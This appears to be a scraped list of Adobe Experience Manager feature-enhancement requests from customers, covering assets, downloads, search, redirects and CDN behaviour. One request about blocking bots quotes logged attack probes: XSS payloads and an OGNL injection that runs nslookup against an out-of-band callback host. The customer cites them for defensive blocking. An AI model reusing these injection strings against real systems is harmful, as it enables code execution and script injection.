Adobe Experience Manager

Request for Feature Enhancement (RFE) Summary: One of our primary business cases for related assets is to relate talent releases (model releases, etc) or creative licenses to the asset to show that we have the right to use images, music and other creative materials. We would like to be able to clearly call out when an asset relationship is for this pupose to drive compliance with intellectual property laws and guidelines. Use-case: A user creates an asset relationship between an asset like a photo or video and the model release provided by a person whose likeness is used in the aset, and relates the model release as an asset reference, with the type of "Release", rather than "Other". Current/Experienced Behavior: A user loads a new photography asset into AEM Assets that has a recognizable face in it. The user uploads a PDF version of a model release from the person whose likeness appears in the image, and from the original image, creates a relationship type of "Other" from the i

Request for Feature Enhancement (RFE) Summary: Content Transfer Tool currently supports only on-premise to AEM as Cloud movement.  Use-case: Content Transfer Tool currently supports only on-premise to AEM as Cloud movement. However, there are use-cases wherein content needs to be synced between AEM as Cloud instances for which package manager process can be cumbersome. Especially when dealing with GBs/TBs of data now that disk usage dashboard is also not available in AEM as Cloud. Current/Experienced Behavior: Package Manager has to be used to transfer content and there is no easy way to split packages based on size apart from using include/exclude rules. Improved/Expected Behavior: Extend Content transfer tool to allow content sync between AEM as Cloud instances. Environment Details (AEM version/service pack, any other specifics if applicable): AEM as Cloud Service Customer-name/Organization name: Abbott Screenshot (if applicable):   Code package (if ap

Request for Feature Enhancement (RFE) Summary: Quick redirect to the homepage of the AEM dashboard. So that we can navigate to other tools pages Use-case: During presentations or quick analysis, the ability to navigate between tools seamlessly without manually updating the URL in the address bar proves to be beneficial. Current/Experienced Behavior: When using a tool and clicking on the AEM logo, it redirects to the homepage while displaying the URL of the current tool's page. However, if you navigate to another tool and then click on the homepage, it redirects back to the previous tool's page instead of the current tool's homepage. Improved/Expected Behavior: Clicking on the AEM logo should not only redirect to the homepage of the AEM dashboard but also update the URL to http://localhost:4502/aem/start.html Environment Details (AEM version/service pack, any other specifics if applicable): AEM 6.5, AEMaaCS Customer-name/Organization name: Bounteous Screenshot (if applica

Request for Feature Enhancement (RFE) Summary: Upload Link for external contributers to AEM Assets.   External agencies / contracted photographers are contracted one-time. Agencies / Photographers need to upload assets to Enterprise Asset Management application - AEM Assets. Onboarding effort to AEM is too high for  photographer / agency.  Current/Experienced Behavior: Agencies / Photographers upload to assets to Dropbox or WeTransfer.  Internal users need to download all assets each time and upload back into AEM Assets for Enterprise Usage. This results in delays in workflows and delivery of content.  High manual effort & time / costs due to download & re-upload to AEM Assets. Improved/Expected Behavior: Editors / Internals create an 'Upload Link' in AEM Assets and share with externals. There could be an authentication (user-defined password) in place.  Photographer enters the upload link --> enters password --> can create fold

Request for Feature Enhancement (RFE) Summary: Downloading queue on several assets is to do one by one Use-case: When you share several assets and you share them, users receiving the link have not the correct behavior in downloading them: step 1 : share several assets step 2 : open the link receive via email step 3 : select several asset step 4 : download queue step 5 : download inbox step 6 : I just have my first selected asset i the inbox We should have all the assets in the InBox.  Current/Experienced Behavior: when i select several assets for download, i've to reselect each one for download Improved/Expected Behavior: when i select severa assets for download, i want all of them downloaded in the inbox Environment Details (AEM version/service pack, any other specifics if applicable): AEM as a Cloudservice Customer-name/Organization name: Louis Vuitton Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: We want to be able to easily duplicate/copy/move the entire content (assets and pages) between environments found on the same program Use-case: Environment synchronization Current/Experienced Behavior: There is no easy way to duplicate content. The only way to do this now is to move content by doing a code package which is a very painstaking process to do. Improved/Expected Behavior: A method of moving content within the program is available w/o executing any manual steps Environment Details (AEM version/service pack, any other specifics if applicable): AEMaCS Customer-name/Organization name: N/A Screenshot (if applicable): N/A Code package (if applicable): N/A

Verbesserungsvorschlag – Zusammenfassung: Increase usability of text asset editor in AEM Forms by adding colors Use Case: Text asset editing and data field handing in AEM forms Derzeitiges/erlebtes Verhalten: Fields within text assets can have two different ways of behavior - user can add data or not. For a template author no way exists to distinguish the elements as both looks same Verbessertes/erwartetes Verhalten:  Given that a text asset is edited and  fields out of a data dictionary will be added When the field is added as "Locked", the field will appear in the text asset with red highlight color When the field is added as "Open" the field will appear in the text asset with green highlight color Umgebungsdetails (AEM-Version/Service Pack, ggf. andere Besonderheiten): AEM Forms 6.5.7 with compatibilty package Kundenname/Organisationsname: Deutsche Bank Screenshot (falls zutreffend):   Code-Paket (falls zutreffend):  

Request for Feature Enhancement (RFE) Summary: The AEM Content Fragment UI should allow users to configure columns based on their preferences, making it easier to display the desired information in a more accessible format. Use-case: In the view settings menu or directly in the table results, we should be able to customize column options based on the available fields in the Content Fragments. Current/Experienced Behavior: In the settings (Customize Table), we can only select a few generic fields. Improved/Expected Behavior: Our goal is to be able to select any available fields in the Content Fragment (configurable) such as the variations, the profile owner, the profile image, the title, the description, the social media profiles, the country, the city, the job type, and the skills. We want to display the selected fields in separate columns according to our preferences. Environment Details (AEM version/service pack, any other specifics if applicable): AEM as a Cloud Service

Zusammenfassung der Funktionsverbesserungsanfrage (RFE): Make Managed Publication working for Content Fragments as it is working already for AEM Sites for References.  Anwendungsfall: Managed Publication for Content Fragments  Aktuelles/erlebtes Verhalten: References can't be controlled in a meaningful way for Content Fragments. Modified & unpublished References are just published as part of the Managed Publication without any control about it.  Verbessertes/erwartetes Verhalten: Managed Publication for Content Fragments is expected to work as in AEM Sites, incl. enhanced filter possibilities.  Umgebungsdetails (AEM-Version/Service Pack, ggf. weitere Angaben): AEMaaCS  Name des Kunden/der Organisation: Accenture PLC für smart Europe GmbH Screenshot (sofern zutreffend): Code-Paket (sofern zutreffend):  

Request for Feature Enhancement (RFE) Summary: Would like the following feature - Extend AEM Assets Bulk Import to have other data sources besides Azure Blob Storage or S3 instance. Use-case: We want to import assets to AEMaaCS from other 3rd party cloud-based CMS such as Kapost and Box. Currently the best alternate option seems to be to transfer data (6.5 TB) to a S3 or Azure instance and then migrate it to AEM. Current/Experienced Behavior: No option to configure an alternate data source (save S3 and Azure) for cloud to cloud migration Improved/Expected Behavior: Ability to configure custom 3rd party cloud data source to import assets and metadata in bulk from any cloud based CMS. Environment Details (AEM version/service pack, any other specifics if applicable): AEMaaCS - Version - 2023.03 Customer-name/Organization name: TA Digital Screenshot (if applicable): N.A Code package (if applicable): N.A   @kautuk_sahni

Request for Feature Enhancement (RFE) Summary: When you upload native XD files in AEM Assets, auto-generate a preview image like other file types: ,jpg, .png etc. Use-case: Upload .xd file, auto-generate a preview image for .xd files Current/Experienced Behavior: Generic preview icon for .XD files (see attached) Improved/Expected Behavior: preview image based on contents of XD file Environment Details (AEM version/service pack, any other specifics if applicable): AEM Assets 6.5.x Customer-name/Organization name: Walgreens Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Currently, if you go and select an asset in the "Quick action" toolbar, you will see the option to smart crop and edit the asset no matter what role and permissions the user has.  Causing a poor experience and confusion for the end-user because the user cannot save the changes after using it. Use-case:   Current/Experienced Behavior: ‘Quick actions’ is visible for users that don't have permission to use that was causing performance issues Improved/Expected Behavior: To have an enhancement and OOTB solution from Adobe to help end users use the "Quick action" toolbar with the actions that they can perform based on the roles and permissions Environment Details (AEM version/service pack, any other specifics if applicable): AEM Cloud Manager service pack 2023.2.0 Customer-name/Organization name: Accenture Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Currently, if you go to the metadata schema for assets, you can leave the field blank when you use the tag field, as this is not required. If you need that the user completes all the information in the metadata, including the tags, it wouldn't have the option to force the user to fill in the value Use-case:   Current/Experienced Behavior: Tag namespace required validation that does not exist today. So the user can leave this field blank. Improved/Expected Behavior:   Environment Details (AEM version/service pack, any other specifics if applicable): AEM Cloud   service pack 2023.2.0 Customer-name/Organization name:   Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Listener to automatically download files on AEM Assets.  Use-case: Easily download assets without having to to click on download inbox each time Current/Experienced Behavior: Currently users needs to click on download inbox each time to download files. After clicking on download button, user expects the files to be immediately downloaded. Instead user receives a message to check the download inbox each time a ZIP is created.  Improved/Expected Behavior: Listerner that automatically downloads files after zip it has been succesfully created.  Environment Details (AEM version/service pack, any other specifics if applicable): AEM as a cloud service - Assets Customer-name/Organization name:   Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Download folder without all hierarchy folders Use-case: folder download in AEM assets Current/Experienced Behavior: all hierarchy folder is reconstructed when we download a folder Improved/Expected Behavior: if we have a long hierarchy, in download process, hierarchy is not needed. We loose time to rich the assets after download Environment Details (AEM version/service pack, any other specifics if applicable): AEM as a Cloudservice Customer-name/Organization name: Louis Vuitton Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: As an end user, when I use the download component on a page, then I should be able to see the file size of the document up to 1 decimal point(at least) or a configurable number of decimal points. Use-case: Display exact size of the document to the end user. Current/Experienced Behavior: The file size is rounded to the nearest GB(or KB, MB) Improved/Expected Behavior: The file size should display correct value up to at least 1 decimal. Environment Details (AEM version/service pack, any other specifics if applicable): AEMaaCS 2021.12.6145.20211216T083234Z. WCM Core Components - 2.17.12 Customer-name/Organization name: Abbott Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Related Case #E-000858459 Use-case: Customer has customized the renditions of an asset to exclude some of the OOTB renditions but when the same asset was used in the "Share Link" option and checked "Allow download of renditions of file" checkbox   In the Share Link downloads all the renditions including the OOTB renditions like 48x48 or 139x139 are visible and there is no way to customize the list of renditions on that screen. Current/Experienced Behavior: All the renditions are displayed on Share Link downloads including the OOTB ones. Improved/Expected Behavior: There should be a customization of what is being displayed on "Share Link" download renditions Environment Details (AEM version/service pack, any other specifics if applicable):   Customer-name/Organization name:   Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Currently when users have to select assets or folders, they need to hover over for the small tick on the left-corner of a folder (in card view).  Use-case: The current approach is not user-friendly and time-consuming. For examples, editors have to select 50 assets out of 800 within a folder. Usually the editors use 'card view' which ensures a thumbnail preview of the assets. Editors then have to select each asset by clicking on top-right corner of each one.  Current/Experienced Behavior: Currently when users have to select assets or folders, they need to hover over for a small tick on the left-corner of a folder (in card view).  Improved/Expected Behavior: More user-friendly way of quickly selecting assets or folders. A big hover-over enabling the selection of assets or folders. Environment Details (AEM version/service pack, any other specifics if applicable): AEM Assets as a cloud service Customer-name/Organi

Request for Feature Enhancement (RFE) Summary: Search should support fuzzy search Use-case: Portal User is searching for specific pages on portal Current/Experienced Behavior: Search Index just returns exact matches Improved/Expected Behavior: Search Index returns fuzzy search matches as well Environment Details (AEM version/service pack, any other specifics if applicable): 2023.3.11382.20230315T073850Z Customer-name/Organization name: Telefonica Germany B2B Screenshot (if applicable):     Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: We want to have a redirect tool that's built-in with AEM. Not ACS or opensourcee code Use-case: Currently, the only way to have a redirect tool in AEM is to install the ACS commons redirect manager Current/Experienced Behavior: None. There is no built-in redirect tool within AEM. ACS is the only way Improved/Expected Behavior: - Bulk upload and delete- Search- Export of lists- Suggest unnecessary redirects (chain redirects) - AI capability - Suggest how redirects can be consolidated (like suggesting the use of regular expressions for multiple rules that are similar)- Capacity for 500,000 rules Environment Details (AEM version/service pack, any other specifics if applicable): AEMaCS Customer-name/Organization name: N/A Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Would like to add the following feature: Block some known Bot Requests by IP in CDN in AEMaaCS. Ignoring URL Parameters at CDN is currently not possible. Use-case: We are getting a lot of Bot Requests in our Dispatcher and Publish Logs. Ideally we would like to block these requests at CDN itself. These requests are coming from multiple IP and are impacting the performance of the application.Request Types - 1. /Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E2./$%7b@java.lang.Runtime@getRuntime().exec(%22nslookup%20cec9ut6t9v7cv1g00010h8moeyzz4cmdk.oast.live%22)%7d/3. /pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3EThere should be a way to block the IP or perform the action at WAF layer to block these bots. Current/Experienced Behavior: The requests are blocked at Dispatcher currently but the logs are choked with these requests. Improved/Exp

Request for Feature Enhancement (RFE) Summary: Prevent the browser caching of (potentially) sensitive data (e.g. some personal data of the logged-in user) Use-case: AEMaCS Author sets the Cache-Control header with a directive that does not prevent the caching of sensitive data in the user’s browser. An attacker gaining access to the browser of a user with which sensitive information has been retrieved can get insights into the data by reading the cache. Current/Experienced Behavior: The application does not prevent the caching of (potentially) sensitive data. In the responses, the value of the Cache-Control header is set to ”no-cache”, as can be seen in the following screen- shot (please check the attached report.) The “no-cache” instruction only ensures that the browser validates that the content is up-to-date on the server before using the cache. A look into the browser cache shows that sensitive data (e.g. some personal data of the logged-in user) is stored there. Improve

Request for Feature Enhancement (RFE) Summary: When we search any asset on author / Filter the assets, post doing that when we select single/multiple assets, can't see create option and hence unable to trigger the workflow for assets. Can we enable create option so business able to trigger the workflow. Use-case: 1. Business go to author 2. Search the assets / Apply filter and search the assets. 3. Select list of assets post searching. 4. Business looking for the option to trigger the workflow. (to run on single/multiple assets) Current/Experienced Behavior: Create option not visible. (So workflow option unable to use) Improved/Expected Behavior: If we can enable the create option, business can trigger workflow on searched/filtered assets. Environment Details (AEM version/service pack, any other specifics if applicable): AEM 6.5.5 ( Also checked in 6.5.7 same behaviour) Customer-name/Organization name: Hershey's Screenshot (if applicable):    Code package (if appli

Request for Feature Enhancement (RFE) Summary: Enable cropping of WebP images in AEM Assets. Use-case: Enable cropping of WebP images in AEM Assets. Current/Experienced Behavior: Cropping of WebP images is currently not supported in AEM. When trying to Edit / crop it shows the following message:  "Editing is not supported for this type of assets." Improved/Expected Behavior: Cropping of WebP is possible. Environment Details (AEM version/service pack, any other specifics if applicable): AEM as a cloud service. Customer-name/Organization name: Hugo Boss AG Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Would like the following feature - Cache Hit Ratio to be refined as a factor for Optimization in BPO Reports Use-case: We received a BPO Report highlighting Cache Hit Ratio of 80% against Adobe's recommendation of 90%.The implementation is AEMaaCS thus using Adobe's Fastly CDN. The metric is also calculated at CDN end. However, a large number of requests which are received at Dispatcher are not cache able. (Health Check based requests like /system/probes/health, /system/probes/live, /system/probes/ready and Bot Based Requests like GET /3x.php/?3x=3x which are blocked at Dispatcher) Current/Experienced Behavior: The metric calculated at CDN would take into account both bot based requests which are blocked at Dispatcher (but not CDN!) and Health Check based requests which are not cached and served to Publish instances via Dispatcher. Improved/Expected Behavior: The metric should exclude these service based requests (if not alre